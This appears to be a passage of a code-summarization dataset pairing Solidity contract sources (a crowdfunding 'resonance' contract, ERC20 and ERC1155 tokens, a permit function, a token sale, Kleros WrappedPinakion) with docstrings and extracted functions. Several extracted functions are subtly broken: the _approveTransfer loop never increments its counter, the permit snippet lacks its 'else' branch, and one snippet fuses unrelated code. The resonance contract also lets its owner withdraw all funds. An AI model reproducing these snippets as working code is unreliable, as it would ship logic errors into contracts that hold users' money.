// 用户可提取的ETH数量
uint256 withdrawETHAmount = steps[resonanceClosedStep].funder[msg.sender].ethAmount
.add(resonanceDataManage.getFaithRewardBalance(msg.sender));
// 用户可提取的Token数量
if(msg.sender == beneficiary){
withdrawTokenAmount = resonanceDataManage.getBuildingTokenFromParty(resonanceClosedStep);
}else{
withdrawTokenAmount = steps[resonanceClosedStep].funder[msg.sender].tokenAmount;
}
// 置空
steps[resonanceClosedStep].funder[msg.sender].ethAmount = 0;
resonanceDataManage.setFaithRewardBalance(msg.sender, 0);
// 提取
BDEToken.transfer(msg.sender, withdrawTokenAmount);
dest.transfer(withdrawETHAmount);
refundIsFinished[msg.sender] = true;
return refundIsFinished[msg.sender];
}
/// @notice 管理员可以提走合约内所有的ETH
/// @dev 防止ETH被锁死在合约内
function withdrawAllETHByOwner()
public
payable
onlyOwner()
{
beneficiary.transfer(address(this).balance);
BDEToken.transfer(msg.sender, BDEToken.balanceOf(address(this)));
}
/// @notice 查询是否是募资者,参与募资期
function isFunder() public view returns(bool) {
return steps[currentStep].funder[msg.sender].isFunder;
}
/// @notice 查询某轮次msg.sender是否是funder
function isFunderByStep(uint256 _stepIndex) public view returns(bool){
return steps[_stepIndex].funder[msg.sender].isFunder;
}
/// @notice 查询funder的邀请人集合
function getInvitees(address _funder) public view returns(address[] memory) {
return invitees[_funder];
// return steps[currentStep].funder[_funder].invitees;
}
/// @notice 查询所有参与共振的用户的地址集合
function getResonances()
public
view
onlyOwner()
returns(address[] memory)
{
// emit GetResonances(resonances);
return(resonances);
}
/// @notice 查询某个用户投入ETH的总量
function getFunderTotalRaised(address _funder) public view onlyOwner() returns(uint256){
// emit FunderTotalRaised(resonancesRasiedETH[_funder]);
return resonancesRasiedETH[_funder];
}
/// @notice 查询某轮次funders信息
/// @dev 查询某轮次funders各个参数,返回各参数的数组,下标一一对应
/// @param _stepIndex 轮次数
function getStepFunders(uint256 _stepIndex)
public
view
onlyOwner()
returns
(
address[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory
)
{
address[] memory funderAddress;
uint256[] memory funderTokenAmount;
uint256[] memory funderETHAmount;
uint256[] memory funderInvitees;
uint256[] memory _earnFromAff;
uint256[] memory _inviteesTotalAmount;
funderAddress = new address[](steps[_stepIndex].funders.length);
funderTokenAmount = new uint256[](funderAddress.length);
funderETHAmount = new uint256[](funderAddress.length);
funderInvitees = new uint256[](funderAddress.length);
_earnFromAff = new uint256[](funderAddress.length);
_inviteesTotalAmount = new uint256[](funderAddress.length);
funderAddress = steps[_stepIndex].funders;
for(uint i = 0 ; i < funderAddress.length; i++){
funderTokenAmount[i] = steps[_stepIndex].funder[funderAddress[i]].tokenAmount;
funderETHAmount[i] = steps[_stepIndex].funder[funderAddress[i]].ethAmount;
funderInvitees[i] = invitees[funderAddress[i]].length;
_earnFromAff[i] = earnFromAff[funderAddress[i]];
_inviteesTotalAmount[i] = inviteesTotalAmount[funderAddress[i]];
}
return (funderAddress, funderTokenAmount, funderETHAmount, funderInvitees, _earnFromAff, _inviteesTotalAmount);
}
/// @notice 查询当前轮次组建期开放多少token,募资期已经募得的ETH
function getCurrentStepFundsInfo()
public
view
returns(uint256, uint256, uint256)
{
return(currentStep, steps[currentStep].building.openTokenAmount, steps[currentStep].funding.raisedETH);
}
/// @notice 获取上一轮可提取的Token和ETH数量
function getWithdrawAmountPriv() public view returns(uint256, uint256) {
require(currentStep != 0, "下一轮再来查看第一轮的数据");
uint256 _withdrawTokenAmount;
uint256 _withdrawETHAmount;
uint256 withdrawStep = currentStep.sub(1);
if(steps[withdrawStep].funder[msg.sender].tokenHasWithdrawn){
_withdrawTokenAmount = 0;
}else{
_withdrawTokenAmount = _calculationWithdrawTokenAmount(withdrawStep);
}
if(steps[withdrawStep].funder[msg.sender].ETHHasWithdrawn){
_withdrawETHAmount = 0;
}else{
_withdrawETHAmount = _calculationWithdrawETHAmount(withdrawStep);
}
return(
_withdrawTokenAmount,
_withdrawETHAmount
);
}
/// @notice 查询组建期信息
function getBuildingPerioInfo()
public
view
returns(uint256, uint256, uint256, uint256)
{
uint256 _bpCountdown;
uint256 _remainingToken;
uint256 _personalTokenLimited;
uint256 _totalTokenAmount;
// 共建期结束,返回0
if(resonanceDataManage.getOpeningTime().add(8 hours) <= block.timestamp){
_bpCountdown = 0;
}else{
_bpCountdown = (resonanceDataManage.getOpeningTime().add(8 hours)).sub(block.timestamp);
}
_remainingToken = steps[currentStep].building.openTokenAmount.
sub(steps[currentStep].building.raisedToken).
sub(resonanceDataManage.getBuildingTokenFromParty(currentStep));
_personalTokenLimited = steps[currentStep].building.personalTokenLimited;
_totalTokenAmount = steps[currentStep].building.raisedTokenAmount;
return(_bpCountdown, _remainingToken, _personalTokenLimited, _totalTokenAmount);
}
// 查询募资期信息
function getFundingPeriodInfo()
public
view
returns(uint256, uint256, uint256)
{
uint256 _fpCountdown;
uint256 _remainingETH;
uint256 _rasiedETHAmount;
// 募资期结束,返回0
if(resonanceDataManage.getOpeningTime().add(24 hours) <= block.timestamp){
_fpCountdown = 0;
}else{
_fpCountdown = (resonanceDataManage.getOpeningTime().add(24 hours)).sub(block.timestamp);
}
_remainingETH = steps[currentStep].funding.raiseTarget.sub(steps[currentStep].funding.raisedETH);
_rasiedETHAmount = steps[currentStep].funding.raisedETH;
return(_fpCountdown, _remainingETH, _rasiedETHAmount);
}
/// @notice 计算用户可提取Token数量(通过赚取的)
function _calculationWithdrawTokenAmount(uint256 _stepIndex) internal view returns(uint256){
uint256 _withdrawTokenAmount;
uint256 currentStepTotalRaisedToken = steps[_stepIndex].building.raisedToken
.add(resonanceDataManage.getBuildingTokenFromParty(_stepIndex));
_withdrawTokenAmount = currentStepTotalRaisedToken.
mul(steps[_stepIndex].funder[msg.sender].ethAmount).
div(steps[_stepIndex].funding.raisedETH);
return _withdrawTokenAmount;
}
/// @notice 计算用户可提取的ETH数量(通过赚取的)
function _calculationWithdrawETHAmount(uint256 _stepIndex) internal view returns(uint256){
uint256 _withdrawETHAmount;
uint256 totalTokenAmount = steps[_stepIndex].building.raisedToken
.add(resonanceDataManage.getBuildingTokenFromParty(_stepIndex));
_withdrawETHAmount = steps[_stepIndex].funder[msg.sender].tokenAmount
.mul(steps[_stepIndex].funding.raisedETH)
.div(totalTokenAmount);
return _withdrawETHAmount.add(resonanceDataManage.withdrawETHAmount(_stepIndex, msg.sender));
}
/// @notice 获取用户获奖信息
function getFunderRewardInfo() public view returns(uint256, uint256, uint256, uint256) {
return(
luckyRewardInstance.luckyFunderTotalBalance(msg.sender),
fissionRewardInstance.fissionFunderTotalBalance(msg.sender),
FOMORewardInstance.FOMOFunderTotalBalance(msg.sender),
faithRewardInstance.faithRewardAmount(msg.sender)
);
}
/// @notice 获取用户推广信息信息
function getFunderAffInfo() public view returns(uint256, uint256) {
return(
invitees[msg.sender].length, // 我的邀请人数
earnFromAff[msg.sender] // 推广所得
);
}
// 获取用户可提取Token数量
function getFunderWithdrawTokenAmount(uint256 _stepIndex) public view returns(uint256) {
require(_stepIndex <= currentStep, "stepIndex不存在");
return _calculationWithdrawTokenAmount(_stepIndex);
}
// 获取用户可提取ETH数量
function getFunderWithdrawETHAmount(uint256 _stepIndex) public view returns(uint256) {
require(_stepIndex <= currentStep, "stepIndex不存在");
return _calculationWithdrawETHAmount(_stepIndex);
}
// 获取用户组建期已打入token数量
function getFunderTokenAmount(uint256 _stepIndex) public view returns(uint256) {
require(_stepIndex <= currentStep, "stepIndex不存在");
return steps[_stepIndex].funder[msg.sender].tokenAmount;
}
// 获取用户募资期已打入eth数量
function getFunderETHAmount(uint256 _stepIndex) public view returns(uint256) {
require(_stepIndex <= currentStep, "stepIndex不存在");
return steps[_stepIndex].funder[msg.sender].ethAmount;
}
/// @notice 添加共建者
/// @param _promoter msg.sender的推广者
function _addBuilder(address _promoter) internal {
// 成为共建者
steps[currentStep].funder[msg.sender].funderAddr = msg.sender;
steps[currentStep].funder[msg.sender].promoter = _promoter;
isBuilder[msg.sender] = true;
}
/// @notice 返回区块hash
function getBlockHash(uint256 _stepIndex) public view returns(bytes32) {
return blockhash(steps[_stepIndex].blockNumber+1);
}
/// @notice 设置当前轮次的区块高度
function setBlockHash(uint256 _stepIndex) public returns(bool) {
if(steps[_stepIndex].blockNumber == 0){
steps[_stepIndex].blockNumber = block.number;
return true;
}else{
return false;
}
}
/// @notice 查询轮次是否结束
function currentStepIsClosed(uint256 _stepIndex) public view returns(bool) {
return steps[_stepIndex].stepIsClosed;
}
}
|
查询某轮次msg.sender是否是funder
|
function isFunderByStep(uint256 _stepIndex) public view returns(bool){
return steps[_stepIndex].funder[msg.sender].isFunder;
}
| 14,114,457 |
./full_match/5/0xFDffF3d1Edf6746b0d70b0a651EEcc3c2b247225/sources/_manifoldxyz/creator-core-solidity/contracts/core/ERC1155CreatorCore.sol
|
Approve a transfer/
|
function _approveTransfer(address from, address to, uint256[] memory tokenIds, uint256[] memory amounts) internal {
require(tokenIds.length > 0, "Invalid input");
address extension = _tokensExtension[tokenIds[0]];
for (uint i; i < tokenIds.length;) {
require(_tokensExtension[tokenIds[i]] == extension, "Mismatched token originators");
}
if (_extensionApproveTransfers[extension]) {
require(IERC1155CreatorExtensionApproveTransfer(extension).approveTransfer(msg.sender, from, to, tokenIds, amounts), "Extension approval failure");
require(IERC1155CreatorExtensionApproveTransfer(_approveTransferBase).approveTransfer(msg.sender, from, to, tokenIds, amounts), "Extension approval failure");
}
}
| 1,900,256 |
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract FinToken is StandardToken {
address public owner;
string public constant name = "FIN Token";
string public constant symbol = "FIN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2623304 * (10 ** uint256(decimals));
mapping (address => bool) internal verificatorAddresses;
mapping (address => bool) internal verifiedAddresses;
event AddVerificator(address indexed verificator);
event RemoveVerificator(address indexed verificator);
event AddVerified(address indexed verificatorAddress, address indexed verified);
event RemoveVerified(address indexed verificatorAddress, address indexed verified);
event Mint(address indexed to, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyVerificator() {
require(isVerificator(msg.sender));
_;
}
modifier onlyVerified(address _from, address _to) {
require(isVerified(_from));
require(isVerified(_to));
_;
}
function FinToken() public {
owner = msg.sender;
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function addVerificatorAddress(address addr) public onlyOwner {
verificatorAddresses[addr] = true;
emit AddVerificator(addr);
}
function removeVerificatorAddress(address addr) public onlyOwner {
delete verificatorAddresses[addr];
emit RemoveVerificator(addr);
}
function isVerificator(address addr) public constant returns (bool) {
return verificatorAddresses[addr];
}
function addVerifiedAddress(address addr) public onlyVerificator {
verifiedAddresses[addr] = true;
emit AddVerified(msg.sender, addr);
}
function removeVerifiedAddress(address addr) public onlyVerificator {
delete verifiedAddresses[addr];
emit RemoveVerified(msg.sender, addr);
}
function isVerified(address addr) public constant returns (bool) {
return verifiedAddresses[addr];
}
function transfer(address _to, uint256 _value) public onlyVerified(msg.sender, _to) returns (bool) {
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public onlyVerified(_from, _to) returns (bool) {
super.transferFrom(_from, _to, _value);
}
}
|
transfer token for a specified address _to The address to transfer to. _value The amount to be transferred./
|
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
| 1,114,553 |
./partial_match/1/0x3ffDCEE10657D0f60e29015325D2BE3031ccc08d/sources/Pony.sol
|
Triggers an approval from owner to spends owner The address to approve from spender The address to be approved rawAmount The number of tokens that are approved (2^256-1 means infinite) deadline The time at which to expire the signature v The recovery byte of the signature r Half of the ECDSA signature pair s Half of the ECDSA signature pair/
|
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
amount = safe96(rawAmount, "Pony::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Pony::permit: invalid signature");
require(signatory == owner, "Pony::permit: unauthorized");
require(now <= deadline, "Pony::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| 15,979,121 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "./MELDVesting.sol";
abstract contract MELDBaseSale is
Initializable,
PausableUpgradeable,
AccessControlUpgradeable,
UUPSUpgradeable
{
using SafeMathUpgradeable for uint256;
bytes32 public constant ADD_VESTING_ROLE = keccak256("ADD_VESTING_ROLE");
// the token being sold
ERC20Upgradeable public MELDToken;
MELDVesting public MELDVestingContract;
// address where funds are collected
address public wallet;
// amount of tokens emitted per wei
uint256 public rate;
event TokenBuyed(address indexed investor, address indexed beneficiary, uint256 weiAmount, uint256 tokens);
function initialize(
ERC20Upgradeable token,
MELDVesting _MELDVestingContract,
address _wallet,
uint256 _rate
) public initializer {
__Pausable_init();
__AccessControl_init();
__UUPSUpgradeable_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
MELDToken = token;
rate = _rate;
wallet = _wallet;
MELDVestingContract = _MELDVestingContract;
}
// Remaining purchasable quantity
function purchasable() public view returns (uint256) {
return MELDToken.balanceOf(address(this));
}
function processPurchase() internal returns (uint256) {
uint256 weiAmount = msg.value;
// Calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// Make sure you have enough balance to pay
require(purchasable() > tokens);
return tokens;
}
// Calculate token vesting
function vesting(uint256 tokens, address beneficiary) internal virtual;
// Buy tokens
// Allow different accounts for purchaser and recipient.
function buyTokens(address beneficiary) public whenNotPaused payable {
require(beneficiary != address(0));
require(msg.value != 0);
// Make sure you have enough balance to pay
require(purchasable() > 0);
uint256 tokens = processPurchase();
vesting(tokens, beneficiary);
forwardFunds();
emit TokenBuyed(msg.sender, beneficiary, msg.value, tokens);
}
// pause sale
function pause() public onlyRole(DEFAULT_ADMIN_ROLE) {
_pause();
}
// continue sale
function unpause() public onlyRole(DEFAULT_ADMIN_ROLE) {
_unpause();
}
function forwardFunds() internal {
payable(wallet).transfer(msg.value);
}
function _authorizeUpgrade(address newImplementation)
internal
override
onlyRole(DEFAULT_ADMIN_ROLE)
{}
}
|
Calculate token vesting Buy tokens Allow different accounts for purchaser and recipient. Make sure you have enough balance to pay
|
function vesting(uint256 tokens, address beneficiary) internal virtual;
function buyTokens(address beneficiary) public whenNotPaused payable {
require(beneficiary != address(0));
require(msg.value != 0);
require(purchasable() > 0);
uint256 tokens = processPurchase();
vesting(tokens, beneficiary);
forwardFunds();
emit TokenBuyed(msg.sender, beneficiary, msg.value, tokens);
}
| 12,773,509 |
/**
* https://contributing.kleros.io/smart-contract-workflow
* @authors: [@fnanni-0]
* @reviewers: [@unknownunknown1, @MerlinEgalite, @hbarcelos, @shalzz, @jaybuidl]
* @auditors: []
* @bounties: []
* @deployments: []
*/
pragma solidity ^0.4.24;
import "openzeppelin-eth/contracts/zos-lib/Initializable.sol";
import "openzeppelin-eth/contracts/math/SafeMath.sol";
import {TokenController} from "minimetoken/contracts/TokenController.sol";
import {ITokenBridge} from "../interfaces/ITokenBridge.sol";
import {IERC677} from "../interfaces/IERC677.sol";
contract WrappedPinakion is Initializable {
using SafeMath for uint256;
/* Events */
/**
* @notice Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
* @dev Notice that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @notice Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/* Storage */
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) public allowance;
/// @notice Total supply of the token. Equals the total xPinakion deposit into the contract.
uint256 public totalSupply;
/// @notice Name of the token.
string public name;
/// @notice Symbol of the token.
string public symbol;
/// @notice Number of decimals of the token.
uint8 public decimals;
/// @notice The token's controller.
address public controller;
/// @notice Bridged PNK on xDai to be wrapped. This token is upgradeable.
IERC677 public xPinakion;
/// @notice xDai Token Bridge. The Token Bridge is upgradeable.
ITokenBridge public tokenBridge;
/* Modifiers */
/// @dev Verifies that the sender has ability to modify controlled parameters.
modifier onlyController() {
require(controller == msg.sender, "The caller is not the controller.");
_;
}
/* Initializer */
/**
* @dev Constructor.
* @param _name for the wrapped PNK on the home chain.
* @param _symbol for wrapped PNK ticker on the home chain.
* @param _xPinakion the home PNK contract which is already bridged to the foreign PNK contract.
* @param _tokenBridge the TokenBridge contract.
*/
function initialize(
string memory _name,
string memory _symbol,
IERC677 _xPinakion,
ITokenBridge _tokenBridge
) public initializer {
name = _name;
symbol = _symbol;
decimals = 18;
xPinakion = _xPinakion;
tokenBridge = _tokenBridge;
controller = msg.sender;
}
/* External */
/**
* @notice Changes `controller` to `_controller`.
* @param _controller The new controller of the contract
*/
function changeController(address _controller) external onlyController {
controller = _controller;
}
/**
* @notice Converts bridged PNK (xPinakion) into wrapped PNK which can be staked in KlerosLiquid.
* @param _amount The amount of wrapped pinakions to mint.
*/
function deposit(uint256 _amount) external {
_mint(msg.sender, _amount);
require(
xPinakion.transferFrom(msg.sender, address(this), _amount),
"Sender does not have enough approved funds."
);
}
/**
* @notice IERC20 Receiver functionality.
* @dev Converts bridged PNK (xPinakion) into wrapped PNK which can be staked in KlerosLiquid.
* If the tokenBridge is calling this function, then this contract has already received
* the xPinakion tokens. Notice that the Home bridge calls onTokenBridge as a result of
* someone invoking `relayTokensAndCall()` on the Foreign bridge contract.
* @param _token The token address the _amount belongs to.
* @param _amount The amount of wrapped PNK to mint.
* @param _data Calldata containing the address of the recipient.
* Notice that the address has to be padded to the right 32 bytes.
*/
function onTokenBridged(
address _token,
uint256 _amount,
bytes _data
) external {
require(msg.sender == address(tokenBridge), "Sender not authorized.");
require(_token == address(xPinakion), "Token bridged is not xPinakion.");
address recipient;
assembly {
recipient := calldataload(0x84)
}
_mint(recipient, _amount);
}
/**
* @notice Converts wrapped PNK back into bridged PNK (xPinakion).
* @param _amount The amount of bridged PNK to withdraw.
*/
function withdraw(uint256 _amount) external {
_burn(_amount);
require(xPinakion.transfer(msg.sender, _amount), "The `transfer` function must not fail.");
}
/**
* @notice Converts wrapped PNK back into PNK using the Token Bridge.
* @dev This function is not strictly needed, but it provides a good UX to users who want to get their Mainnet's PNK back.
* What normally takes 3 transactions, here is done in one go.
* Notice that the PNK have to be claimed on Mainnet's TokenBridge by the receiver.
* @param _amount The amount of PNK to withdraw.
* @param _receiver The address which will receive the PNK back in the foreign chain.
*/
function withdrawAndConvertToPNK(uint256 _amount, address _receiver) external {
_burn(_amount);
// Using approve is safe here, because this contract approves the bridge to spend the tokens and triggers the relay immediately.
xPinakion.approve(address(tokenBridge), _amount);
tokenBridge.relayTokens(xPinakion, _receiver, _amount);
}
/**
* @notice Moves `_amount` tokens from the caller's account to `_recipient`.
* @param _recipient The entity receiving the funds.
* @param _amount The amount to tranfer in base units.
* @return True on success.
*/
function transfer(address _recipient, uint256 _amount) public returns (bool) {
if (isContract(controller)) {
require(
TokenController(controller).onTransfer(msg.sender, _recipient, _amount),
"Token controller rejects transfer."
);
}
balances[msg.sender] = balances[msg.sender].sub(_amount); // ERC20: transfer amount exceeds balance
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(msg.sender, _recipient, _amount);
return true;
}
/**
* @notice Moves `_amount` tokens from `_sender` to `_recipient` using the
* allowance mechanism. `_amount` is then deducted from the caller's allowance.
* @param _sender The entity to take the funds from.
* @param _recipient The entity receiving the funds.
* @param _amount The amount to tranfer in base units.
* @return True on success.
*/
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public returns (bool) {
if (isContract(controller)) {
require(
TokenController(controller).onTransfer(_sender, _recipient, _amount),
"Token controller rejects transfer."
);
}
/** The controller of this contract can move tokens around at will,
* this is important to recognize! Confirm that you trust the
* controller of this contract, which in most situations should be
* another open source smart contract or 0x0.
*/
if (msg.sender != controller) {
allowance[_sender][msg.sender] = allowance[_sender][msg.sender].sub(_amount); // ERC20: transfer amount exceeds allowance.
}
balances[_sender] = balances[_sender].sub(_amount); // ERC20: transfer amount exceeds balance
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(_sender, _recipient, _amount);
return true;
}
/**
* @notice Approves `_spender` to spend `_amount`.
* @param _spender The entity allowed to spend funds.
* @param _amount The amount of base units the entity will be allowed to spend.
* @return True on success.
*/
function approve(address _spender, uint256 _amount) public returns (bool) {
// Alerts the token controller of the approve function call
if (isContract(controller)) {
require(
TokenController(controller).onApprove(msg.sender, _spender, _amount),
"Token controller does not approve."
);
}
allowance[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @notice Increases the `_spender` allowance by `_addedValue`.
* @param _spender The entity allowed to spend funds.
* @param _addedValue The amount of extra base units the entity will be allowed to spend.
* @return True on success.
*/
function increaseAllowance(address _spender, uint256 _addedValue) public returns (bool) {
uint256 newAllowance = allowance[msg.sender][_spender].add(_addedValue);
// Alerts the token controller of the approve function call
if (isContract(controller)) {
require(
TokenController(controller).onApprove(msg.sender, _spender, newAllowance),
"Token controller does not approve."
);
}
allowance[msg.sender][_spender] = newAllowance;
emit Approval(msg.sender, _spender, newAllowance);
return true;
}
/**
* @notice Decreases the `_spender` allowance by `_subtractedValue`.
* @param _spender The entity whose spending allocation will be reduced.
* @param _subtractedValue The reduction of spending allocation in base units.
* @return True on success.
*/
function decreaseAllowance(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 newAllowance = allowance[msg.sender][_spender].sub(_subtractedValue); // ERC20: decreased allowance below zero
// Alerts the token controller of the approve function call
if (isContract(controller)) {
require(
TokenController(controller).onApprove(msg.sender, _spender, newAllowance),
"Token controller does not approve."
);
}
allowance[msg.sender][_spender] = newAllowance;
emit Approval(msg.sender, _spender, newAllowance);
return true;
}
/* Internal */
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param _recipient The address which will receive the minted tokens.
* @param _amount The amount that will be created.
*/
function _mint(address _recipient, uint256 _amount) internal {
totalSupply = totalSupply.add(_amount);
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(address(0x0), _recipient, _amount);
}
/**
* @dev Destroys `_amount` tokens from the caller. Cannot burn locked tokens.
* @param _amount The quantity of tokens to burn in base units.
*/
function _burn(uint256 _amount) internal {
if (isContract(controller)) {
require(
TokenController(controller).onTransfer(msg.sender, address(0x0), _amount),
"Token controller rejects transfer."
);
}
balances[msg.sender] = balances[msg.sender].sub(_amount); // ERC20: burn amount exceeds balance
totalSupply = totalSupply.sub(_amount);
emit Transfer(msg.sender, address(0x0), _amount);
}
/**
* @dev Internal function to determine if an address is a contract.
* @param _addr The address being queried.
* @return True if `_addr` is a contract.
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
/* Getters */
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the balance of.
* @return uint256 value representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
|
Moves `_amount` tokens from the caller's account to `_recipient`. _recipient The entity receiving the funds. _amount The amount to tranfer in base units. return True on success./
|
function transfer(address _recipient, uint256 _amount) public returns (bool) {
if (isContract(controller)) {
require(
